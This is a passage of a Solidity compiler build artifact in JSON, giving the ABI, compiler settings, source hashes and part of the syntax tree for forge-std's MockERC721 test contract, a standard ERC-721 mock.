function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"stateMutability":"view","type":"function","name":"ownerOf","outputs":[{"internalType":"address","name":"owner","type":"address"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"stateMutability":"payable","type":"function","name":"safeTransferFrom"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"function","name":"safeTransferFrom"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"setApprovalForAll"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"stateMutability":"view","type":"function","name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"stateMutability":"view","type":"function","name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"stateMutability":"payable","type":"function","name":"transferFrom"}],"devdoc":{"kind":"dev","methods":{"initialize(string,string)":{"details":"To hide constructor warnings across solc versions due to different constructor visibility requirements and syntaxes, we add an initialization function that can be called only once."}},"version":1},"userdoc":{"kind":"user","methods":{"name()":{"notice":"A descriptive name for a collection of NFTs in this contract"},"symbol()":{"notice":"An abbreviated name for NFTs in this contract"}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/mocks/MockERC721.sol":"MockERC721"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/mocks/MockERC721.sol","id":33513,"exportedSymbols":{"IERC721Metadata":[32125],"IERC721TokenReceiver":[33512],"MockERC721":[33498]},"nodeType":"SourceUnit","src":"32:7984:21","nodes":[{"id":32895,"nodeType":"PragmaDirective","src":"32:31:21","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":32897,"nodeType":"ImportDirective","src":"65:58:21","nodes":[],"absolutePath":"lib/forge-std/src/interfaces/IERC721.sol","file":"../interfaces/IERC721.sol","nameLocation":"-1:-1:-1","scope":33513,"sourceUnit":32154,"symbolAliases":[{"foreign":{"id":32896,"name":"IERC721Metadata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32125,"src":"73:15:21","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":33498,"nodeType":"ContractDefinition","src":"381:7498:21","nodes":[{"id":32902,"nodeType":"VariableDeclaration","src":"613:21:21","nodes":[],"constant":false,"mutability":"mutable","name":"_name","nameLocation":"629:5:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":32901,"name":"string","nodeType":"ElementaryTypeName","src":"613:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"id":32904,"nodeType":"VariableDeclaration","src":"641:23:21","nodes":[],"constant":false,"mutability":"mutable","name":"_symbol","nameLocation":"657:7:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":32903,"name":"string","nodeType":"ElementaryTypeName","src":"641:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"id":32913,"nodeType":"FunctionDefinition","src":"671:92:21","nodes":[],"body":{"id":32912,"nodeType":"Block","src":"734:29:21","nodes":[],"statements":[{"expression":{"id":32910,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32902,"src":"751:5:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"functionReturnParameters":32909,"id":32911,"nodeType":"Return","src":"744:12:21"}]},"baseFunctions":[32110],"functionSelector":"06fdde03","implemented":true,"kind":"function","modifiers":[],"name":"name","nameLocation":"680:4:21","overrides":{"id":32906,"nodeType":"OverrideSpecifier","overrides":[],"src":"701:8:21"},"parameters":{"id":32905,"nodeType":"ParameterList","parameters":[],"src":"684:2:21"},"returnParameters":{"id":32909,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32908,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32913,"src":"719:13:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32907,"name":"string","nodeType":"ElementaryTypeName","src":"719:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"718:15:21"},"scope":33498,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32922,"nodeType":"FunctionDefinition","src":"769:96:21","nodes":[],"body":{"id":32921,"nodeType":"Block","src":"834:31:21","nodes":[],"statements":[{"expression":{"id":32919,"name":"_symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32904,"src":"851:7:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"functionReturnParameters":32918,"id":32920,"nodeType":"Return","src":"844:14:21"}]},"baseFunctions":[32116],"functionSelector":"95d89b41","implemented":true,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"778:6:21","overrides":{"id":32915,"nodeType":"OverrideSpecifier","overrides":[],"src":"801:8:21"},"parameters":{"id":32914,"nodeType":"ParameterList","parameters":[],"src":"784:2:21"},"returnParameters":{"id":32918,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32917,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32922,"src":"819:13:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32916,"name":"string","nodeType":"ElementaryTypeName","src":"819:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"818:15:21"},"scope":33498,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32931,"nodeType":"FunctionDefinition","src":"871:85:21","nodes":[],"body":{"id":32930,"nodeType":"Block","src":"954:2:21","nodes":[],"statements":[]},"baseFunctions":[32124],"functionSelector":"c87b56dd","implemented":true,"kind":"function","modifiers":[],"name":"tokenURI","nameLocation":"880:8:21","overrides":{"id":32926,"nodeType":"OverrideSpecifier","overrides":[],"src":"921:8:21"},"parameters":{"id":32925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32924,"mutability":"mutable","name":"id","nameLocation":"897:2:21","nodeType":"VariableDeclaration","scope":32931,"src":"889:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32923,"name":"uint256","nodeType":"ElementaryTypeName","src":"889:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"888:12:21"},"returnParameters":{"id":32929,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32928,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32931,"src":"939:13:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32927,"name":"string","nodeType":"ElementaryTypeName","src":"939:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"938:15:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":32935,"nodeType":"VariableDeclaration","src":"1152:45:21","nodes":[],"constant":false,"mutability":"mutable","name":"_ownerOf","nameLocation":"1189:8:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"},"typeName":{"id":32934,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32932,"name":"uint256","nodeType":"ElementaryTypeName","src":"1160:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Mapping","src":"1152:27:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32933,"name":"address","nodeType":"ElementaryTypeName","src":"1171:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},"visibility":"internal"},{"id":32939,"nodeType":"VariableDeclaration","src":"1204:47:21","nodes":[],"constant":false,"mutability":"mutable","name":"_balanceOf","nameLocation":"1241:10:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":32938,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32936,"name":"address","nodeType":"ElementaryTypeName","src":"1212:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1204:27:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32937,"name":"uint256","nodeType":"ElementaryTypeName","src":"1223:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"internal"},{"id":32963,"nodeType":"FunctionDefinition","src":"1258:158:21","nodes":[],"body":{"id":32962,"nodeType":"Block","src":"1340:76:21","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":32958,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"id":32952,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32948,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32945,"src":"1359:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":32949,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"1367:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":32951,"indexExpression":{"id":32950,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32941,"src":"1376:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1367:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1359:20:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":32953,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1358:22:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":32956,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1392:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":32955,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1384:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":32954,"name":"address","nodeType":"ElementaryTypeName","src":"1384:7:21","typeDescriptions":{}}},"id":32957,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1384:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1358:36:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e4f545f4d494e544544","id":32959,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1396:12:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e904b298bc24890ae0c043938d840f08b90773c1635904efe1336d6f851f98ca","typeString":"literal_string \"NOT_MINTED\""},"value":"NOT_MINTED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e904b298bc24890ae0c043938d840f08b90773c1635904efe1336d6f851f98ca","typeString":"literal_string \"NOT_MINTED\""}],"id":32947,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1350:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":32960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1350:59:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32961,"nodeType":"ExpressionStatement","src":"1350:59:21"}]},"baseFunctions":[32018],"functionSelector":"6352211e","implemented":true,"kind":"function","modifiers":[],"name":"ownerOf","nameLocation":"1267:7:21","overrides":{"id":32943,"nodeType":"OverrideSpecifier","overrides":[],"src":"1307:8:21"},"parameters":{"id":32942,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32941,"mutability":"mutable","name":"id","nameLocation":"1283:2:21","nodeType":"VariableDeclaration","scope":32963,"src":"1275:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32940,"name":"uint256","nodeType":"ElementaryTypeName","src":"1275:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1274:12:21"},"returnParameters":{"id":32946,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32945,"mutability":"mutable","name":"owner","nameLocation":"1333:5:21","nodeType":"VariableDeclaration","scope":32963,"src":"1325:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32944,"name":"address","nodeType":"ElementaryTypeName","src":"1325:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1324:15:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":32986,"nodeType":"FunctionDefinition","src":"1422:177:21","nodes":[],"body":{"id":32985,"nodeType":"Block","src":"1503:96:21","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":32977,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32972,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32965,"src":"1521:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":32975,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1538:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":32974,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1530:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":32973,"name":"address","nodeType":"ElementaryTypeName","src":"1530:7:21","typeDescriptions":{}}},"id":32976,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1530:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1521:19:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5a45524f5f41444452455353","id":32978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1542:14:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_71869b3729b99fadce3ee30cb1aa2a0d639e6a2d24158c1ae1ae0059e81b72af","typeString":"literal_string \"ZERO_ADDRESS\""},"value":"ZERO_ADDRESS"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_71869b3729b99fadce3ee30cb1aa2a0d639e6a2d24158c1ae1ae0059e81b72af","typeString":"literal_string \"ZERO_ADDRESS\""}],"id":32971,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1513:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":32979,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1513:44:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32980,"nodeType":"ExpressionStatement","src":"1513:44:21"},{"expression":{"baseExpression":{"id":32981,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"1575:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32983,"indexExpression":{"id":32982,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32965,"src":"1586:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1575:17:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":32970,"id":32984,"nodeType":"Return","src":"1568:24:21"}]},"baseFunctions":[32010],"functionSelector":"70a08231","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1431:9:21","overrides":{"id":32967,"nodeType":"OverrideSpecifier","overrides":[],"src":"1476:8:21"},"parameters":{"id":32966,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32965,"mutability":"mutable","name":"owner","nameLocation":"1449:5:21","nodeType":"VariableDeclaration","scope":32986,"src":"1441:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32964,"name":"address","nodeType":"ElementaryTypeName","src":"1441:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1440:15:21"},"returnParameters":{"id":32970,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32969,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32986,"src":"1494:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32968,"name":"uint256","nodeType":"ElementaryTypeName","src":"1494:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1493:9:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":32990,"nodeType":"VariableDeclaration","src":"1793:49:21","nodes":[],"constant":false,"mutability":"mutable","name":"_getApproved","nameLocation":"1830:12:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"},"typeName":{"id":32989,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32987,"name":"uint256","nodeType":"ElementaryTypeName","src":"1801:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Mapping","src":"1793:27:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32988,"name":"address","nodeType":"ElementaryTypeName","src":"1812:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},"visibility":"internal"},{"id":32996,"nodeType":"VariableDeclaration","src":"1849:71:21","nodes":[],"constant":false,"mutability":"mutable","name":"_isApprovedForAll","nameLocation":"1903:17:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"},"typeName":{"id":32995,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32991,"name":"address","nodeType":"ElementaryTypeName","src":"1857:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1849:44:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32994,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32992,"name":"address","nodeType":"ElementaryTypeName","src":"1876:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1868:24:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32993,"name":"bool","nodeType":"ElementaryTypeName","src":"1887:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}}},"visibility":"internal"},{"id":33009,"nodeType":"FunctionDefinition","src":"1927:120:21","nodes":[],"body":{"id":33008,"nodeType":"Block","src":"2007:40:21","nodes":[],"statements":[{"expression":{"baseExpression":{"id":33004,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"2024:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33006,"indexExpression":{"id":33005,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32998,"src":"2037:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2024:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":33003,"id":33007,"nodeType":"Return","src":"2017:23:21"}]},"baseFunctions":[32074],"functionSelector":"081812fc","implemented":true,"kind":"function","modifiers":[],"name":"getApproved","nameLocation":"1936:11:21","overrides":{"id":33000,"nodeType":"OverrideSpecifier","overrides":[],"src":"1980:8:21"},"parameters":{"id":32999,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32998,"mutability":"mutable","name":"id","nameLocation":"1956:2:21","nodeType":"VariableDeclaration","scope":33009,"src":"1948:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32997,"name":"uint256","nodeType":"ElementaryTypeName","src":"1948:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1947:12:21"},"returnParameters":{"id":33003,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33002,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33009,"src":"1998:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33001,"name":"address","nodeType":"ElementaryTypeName","src":"1998:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1997:9:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":33026,"nodeType":"FunctionDefinition","src":"2053:161:21","nodes":[],"body":{"id":33025,"nodeType":"Block","src":"2156:58:21","nodes":[],"statements":[{"expression":{"baseExpression":{"baseExpression":{"id":33019,"name":"_isApprovedForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32996,"src":"2173:17:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"}},"id":33021,"indexExpression":{"id":33020,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33011,"src":"2191:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2173:24:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":33023,"indexExpression":{"id":33022,"name":"operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33013,"src":"2198:8:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2173:34:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":33018,"id":33024,"nodeType":"Return","src":"2166:41:21"}]},"baseFunctions":[32084],"functionSelector":"e985e9c5","implemented":true,"kind":"function","modifiers":[],"name":"isApprovedForAll","nameLocation":"2062:16:21","overrides":{"id":33015,"nodeType":"OverrideSpecifier","overrides":[],"src":"2132:8:21"},"parameters":{"id":33014,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33011,"mutability":"mutable","name":"owner","nameLocation":"2087:5:21","nodeType":"VariableDeclaration","scope":33026,"src":"2079:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33010,"name":"address","nodeType":"ElementaryTypeName","src":"2079:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33013,"mutability":"mutable","name":"operator","nameLocation":"2102:8:21","nodeType":"VariableDeclaration","scope":33026,"src":"2094:16:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33012,"name":"address","nodeType":"ElementaryTypeName","src":"2094:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2078:33:21"},"returnParameters":{"id":33018,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33017,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33026,"src":"2150:4:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33016,"name":"bool","nodeType":"ElementaryTypeName","src":"2150:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2149:6:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":33